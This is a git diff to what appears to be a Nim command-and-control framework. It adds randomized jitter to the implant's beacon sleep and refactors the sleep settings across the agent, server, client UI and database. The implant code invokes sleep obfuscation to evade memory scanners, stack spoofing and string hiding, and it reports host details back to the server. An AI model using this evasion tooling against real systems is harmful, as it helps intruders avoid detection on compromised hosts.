diff --git a/data/profile.toml b/data/profile.toml index 1c37767..295f95d 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -15,6 +15,7 @@ port = 37573 # General agent settings [agent] sleep = 5 +jitter = 15 user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" # ---------------------------------------------------------- diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index a2dc0e3..6fb6a5b 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -29,9 +29,12 @@ proc deserializeConfiguration(config: string): AgentCtx = agentId: generateUUID(), listenerId: Uuid.toString(unpacker.getUint32()), hosts: unpacker.getDataWithLengthPrefix(), - sleep: int(unpacker.getUint32()), - sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), - spoofStack: cast[bool](unpacker.getUint8()), + sleepSettings: SleepSettings( + sleepDelay: unpacker.getUint32(), + jitter: unpacker.getUint32(), + sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), + spoofStack: cast[bool](unpacker.getUint8()) + ), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), agentPublicKey: agentKeyPair.publicKey, profile: parseString(unpacker.getDataWithLengthPrefix()) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 60dc1b9..1594af8 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -1,6 +1,6 @@ import winim/lean import winim/inc/tlhelp32 -import os, system, strformat +import os, system, strformat, random import ./[cfg, io] import ../../common/[types, utils, crypto] @@ -572,15 +572,21 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = print "[-] ", err.msg # Sleep obfuscation implemented in various techniques -proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = +proc sleepObfuscate*(sleepSettings: SleepSettings) = - if sleepDelay == 0: + if sleepSettings.sleepDelay == 0: return # Initialize required API functions let apis = initApis() - print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" + # Calculate actual sleep delay with jitter + let + minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) + maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) + delay = int(rand(minDelay .. maxDelay) * 1000) + + print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}" var img: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0) @@ -600,12 +606,12 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON key.Length = cast[DWORD](keyBuffer.len()) # Execute sleep obfuscation technique - case technique: + case sleepSettings.sleepTechnique: of EKKO: - sleepEkko(apis, key, img, sleepDelay, spoofStack) + sleepEkko(apis, key, img, delay, sleepSettings.spoofStack) of ZILEAN: - sleepZilean(apis, key, img, sleepDelay, spoofStack) + sleepZilean(apis, key, img, delay, sleepSettings.spoofStack) of FOLIAGE: - sleepFoliage(apis, key, img, sleepDelay) + sleepFoliage(apis, key, img, delay) of NONE: - sleep(sleepDelay) + sleep(delay) diff --git a/src/agent/main.nim b/src/agent/main.nim index c32ff0e..a6a3f39 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -31,7 +31,7 @@ proc main() = ]# while true: # Sleep obfuscation to evade memory scanners - sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) + sleepObfuscate(ctx.sleepSettings) let date: string = now().format("dd-MM-yyyy HH:mm:ss") print "\n", fmt"[*] [{date}] Checking in." diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 72135e0..dbd1ded 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,7 +3,7 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="false" +-d:VERBOSE="true" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/agent/protocol/registration.nim b/src/agent/protocol/registration.nim index 9b44387..9fa1ddb 100644 --- a/src/agent/protocol/registration.nim +++ b/src/agent/protocol/registration.nim @@ -164,11 +164,11 @@ proc getProductType(): ProductType = # Using the 'registry' module, we can get the exact registry value case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE) - of "WinNT": + of protect("WinNT"): return WORKSTATION - of "ServerNT": + of protect("ServerNT"): return SERVER - of "LanmanNT": + of protect("LanmanNT"): return DC proc getOSVersion(): string = @@ -218,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = process: string.toBytes(getProcessExe()), pid: cast[uint32](getProcessId()), isElevated: cast[uint8](isElevated()), - sleep: cast[uint32](ctx.sleep), + sleep: cast[uint32](ctx.sleepSettings.sleepDelay), + jitter: cast[uint32](ctx.sleepSettings.jitter), modules: cast[uint32](MODULES) ) ) @@ -239,6 +240,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): .add(data.metadata.pid) .add(data.metadata.isElevated) .add(data.metadata.sleep) + .add(data.metadata.jitter) .add(data.metadata.modules) let metadata = packer.pack() diff --git a/src/client/core/websocket.nim b/src/client/core/websocket.nim index 2440671..5a746f2 100644 --- a/src/client/core/websocket.nim +++ b/src/client/core/websocket.nim @@ -38,14 +38,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor let event = Event( eventType: CLIENT_AGENT_BUILD, timestamp: now().toTime().toUnix(), - data: %*{ - "listenerId": buildInformation.listenerId, - "sleepDelay": buildInformation.sleepDelay, - "sleepTechnique": cast[uint8](buildInformation.sleepTechnique), - "spoofStack": buildInformation.spoofStack, - "verbose": buildInformation.verbose, - "modules": buildInformation.modules - } + data: %buildInformation ) connection.ws.sendEvent(event, connection.sessionKey) diff --git a/src/client/views/console.nim b/src/client/views/console.nim index 3a54f67..179ace1 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -149,7 +149,7 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} = proc displayHelp(component: ConsoleComponent) = for module in getModules(component.agent.modules): for cmd in module.commands: - component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description) + component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description) proc displayCommandHelp(component: ConsoleComponent, command: Command) = var usage = command.name & " " & command.arguments.mapIt( diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index d958726..05d2c4f 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -9,7 +9,8 @@ export addItem type AgentModalComponent* = ref object of RootObj listener: int32 - sleepDelay: uint32 + sleepDelay: uint32 + jitter: int32 sleepMask: int32 spoofStack: bool verbose: bool @@ -22,6 +23,7 @@ proc AgentModal*(): AgentModalComponent = result = new AgentModalComponent result.listener = 0 result.sleepDelay = 5 + result.jitter = 15 result.sleepMask = 0 result.spoofStack = false result.verbose = false @@ -45,6 +47,7 @@ proc AgentModal*(): AgentModalComponent = proc resetModalValues*(component: AgentModalComponent) = component.listener = 0 component.sleepDelay = 5 + component.jitter = 15 component.sleepMask = 0 component.spoofStack = false component.verbose = false @@ -86,6 +89,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igSetNextItemWidth(availableSize.x) igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) + # Jitter + igText("Jitter: ") + igSameLine(0.0f, textSpacing) + igSetNextItemWidth(availableSize.x) + igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32) + # Agent sleep obfuscation technique dropdown selection igText("Sleep mask: ") igSameLine(0.0f, textSpacing) @@ -145,9 +154,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui result = AgentBuildInformation( listenerId: listeners[component.listener].listenerId, - sleepDelay: component.sleepDelay, - sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), - spoofStack: component.spoofStack, + sleepSettings: SleepSettings( + sleepDelay: component.sleepDelay, + jitter: cast[uint32](component.jitter), + sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), + spoofStack: component.spoofStack + ), verbose: component.verbose, modules: modules ) diff --git a/src/common/types.nim b/src/common/types.nim index 8cd82c2..430acd3 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -185,6 +185,7 @@ type pid*: uint32 isElevated*: uint8 sleep*: uint32 + jitter*: uint32 modules*: uint32 AgentRegistrationData* = object @@ -208,6 +209,7 @@ type pid*: int elevated*: bool sleep*: int + jitter*: int tasks*: seq[Task] modules*: uint32 firstCheckin*: int64 @@ -229,6 +231,7 @@ type pid*: int elevated*: bool sleep*: int + jitter*: int modules*: uint32 firstCheckin*: int64 latestCheckin*: int64 @@ -312,13 +315,17 @@ type profile*: Profile client*: WsConnection + SleepSettings* = ref object + sleepDelay*: uint32 + jitter*: uint32 + sleepTechnique*: SleepObfuscationTechnique + spoofStack*: bool + AgentCtx* = ref object agentId*: string listenerId*: string hosts*: string - sleep*: int - sleepTechnique*: SleepObfuscationTechnique - spoofStack*: bool + sleepSettings*: SleepSettings sessionKey*: Key agentPublicKey*: Key profile*: Profile @@ -357,10 +364,8 @@ type items*: seq[ConsoleItem] AgentBuildInformation* = ref object - listenerId*: string - sleepDelay*: uint32 - sleepTechnique*: SleepObfuscationTechnique - spoofStack*: bool + listenerId*: string + sleepSettings*: SleepSettings verbose*: bool modules*: uint32 diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index cb4decd..9ef3478 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -50,11 +50,11 @@ when defined(agent): try: # Parse task parameter - let delay = int(Bytes.toUint32(task.args[0].data)) + let delay = Bytes.toUint32(task.args[0].data) # Updating sleep in agent context print fmt" [>] Setting sleep delay to {delay} seconds." - ctx.sleep = delay + ctx.sleepSettings.sleepDelay = delay return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -69,21 +69,21 @@ when defined(agent): case int(task.argCount): of 0: # Retrieve sleepmask settings - let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" + let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}" return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response)) of 1: # Only set the sleepmask technique let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii()) - ctx.sleepTechnique = technique + ctx.sleepSettings.sleepTechnique = technique else: # Set sleepmask technique and stack-spoofing configuration let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii()) - ctx.sleepTechnique = technique + ctx.sleepSettings.sleepTechnique = technique let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte - ctx.spoofStack = spoofStack + ctx.sleepSettings.spoofStack = spoofStack return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 32204b5..7730216 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto] const PLACEHOLDER = "PLACEHOLDER" -proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] = +proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] = var packer = Packer.init() @@ -19,9 +19,10 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT packer.addDataWithLengthPrefix(string.toBytes(listener.hosts)) # Sleep settings - packer.add(uint32(sleep)) - packer.add(uint8(sleepTechnique)) - packer.add(uint8(spoofStack)) + packer.add(sleepSettings.sleepDelay) + packer.add(sleepSettings.jitter) + packer.add(uint8(sleepSettings.sleepTechnique)) + packer.add(uint8(sleepSettings.spoofStack)) # Public key for key exchange packer.addData(cq.keyPair.publicKey) @@ -147,18 +148,18 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se return @[] # Agent generation -proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] = +proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): seq[byte] = # Verify that listener exists - if not cq.dbListenerExists(listenerId.toUpperAscii): - cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.") + if not cq.dbListenerExists(agentBuildInformation.listenerId): + cq.error(fmt"Listener {agentBuildInformation.listenerId} does not exist.") return - let listener = cq.listeners[listenerId.toUpperAscii] + let listener = cq.listeners[agentBuildInformation.listenerId] - var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack) + var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings) - let unpatchedExePath = cq.compile(config.len, modules, verbose) + let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose) if unpatchedExePath.isEmptyOrWhitespace(): return diff --git a/src/server/core/packer.nim b/src/server/core/packer.nim index 879c6aa..d4e1bdd 100644 --- a/src/server/core/packer.nim +++ b/src/server/core/packer.nim @@ -108,6 +108,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): pid = unpacker.getUint32() isElevated = unpacker.getUint8() sleep = unpacker.getUint32() + jitter = unpacker.getUint32() modules = unpacker.getUint32() return Agent( @@ -124,6 +125,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): pid: int(pid), elevated: isElevated != 0, sleep: int(sleep), + jitter: int(jitter), modules: modules, tasks: @[], firstCheckin: now().toTime().toUnix(), diff --git a/src/server/core/websocket.nim b/src/server/core/websocket.nim index d0577d6..61121e4 100644 --- a/src/server/core/websocket.nim +++ b/src/server/core/websocket.nim @@ -19,6 +19,7 @@ proc `%`*(agent: Agent): JsonNode = result["pid"] = %agent.pid result["elevated"] = %agent.elevated result["sleep"] = %agent.sleep + result["jitter"] = %agent.jitter result["modules"] = %agent.modules result["firstCheckin"] = %agent.firstCheckin result["latestCheckin"] = %agent.latestCheckin diff --git a/src/server/db/database.nim b/src/server/db/database.nim index 9042e06..78cb3ff 100644 --- a/src/server/db/database.nim +++ b/src/server/db/database.nim @@ -36,6 +36,7 @@ proc dbInit*(cq: Conquest) = os TEXT NOT NULL, elevated BOOLEAN NOT NULL, sleep INTEGER NOT NULL, + jitter INTEGER NOT NULL, modules INTEGER NOT NULL, firstCheckin INTEGER NOT NULL, latestCheckin INTEGER NOT NULL, diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim index 16d7351..edf89eb 100644 --- a/src/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool = let sessionKeyBlob = agent.sessionKey.toSeq() conquestDb.exec(""" - INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); - """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) + INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, jitter, modules, firstCheckin, latestCheckin, sessionKey) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); + """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) conquestDb.close() except: @@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): - let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) + for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): + let (agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) # Convert session key blob back to array var sessionKey: Key @@ -47,6 +47,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = agentId: agentId, listenerId: listenerId, sleep: sleep, + jitter: jitter, pid: pid, username: username, impersonationToken: impersonationToken, @@ -72,50 +73,6 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = return agents -proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = - var agents: seq[Agent] = @[] - - try: - let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - - for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listenerId = ?;", listenerName): - let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) - - # Convert session key blob back to array - var sessionKey: Key - if sessionKeyBlob.len == 32: - copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32) - else: - # Handle invalid session key - log error but continue - cq.warning("Invalid session key length for agent: ", agentId) - - let a = Agent( - agentId: agentId, - listenerId: listenerId, - sleep: sleep, - pid: pid, - username: username, - hostname: hostname, - domain: domain, - ipInternal: ipInternal, - ipExternal: ipExternal, - os: os, - elevated: elevated, - firstCheckin: cast[int64](firstCheckin), - latestCheckin: cast[int64](firstCheckin), - process: process, - modules: cast[uint32](modules), - sessionKey: sessionKey, - tasks: @[] # Initialize empty tasks - ) - agents.add(a) - - conquestDb.close() - except: - cq.error(getCurrentExceptionMsg()) - - return agents - proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) diff --git a/src/server/main.nim b/src/server/main.nim index 33a6d8d..b4a3d8a 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -91,15 +91,8 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. cq.listenerStop(listenerId) of CLIENT_AGENT_BUILD: - let - listenerId = event.data["listenerId"].getStr() - sleepDelay = event.data["sleepDelay"].getInt() - sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt()) - spoofStack = event.data["spoofStack"].getBool() - verbose = event.data["verbose"].getBool() - modules = cast[uint32](event.data["modules"].getInt()) - - let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules) + let agentBuildInformation = event.data.to(AgentBuildInformation) + let payload = cq.agentBuild(agentBuildInformation) if payload.len() != 0: cq.client.sendAgentPayload(payload)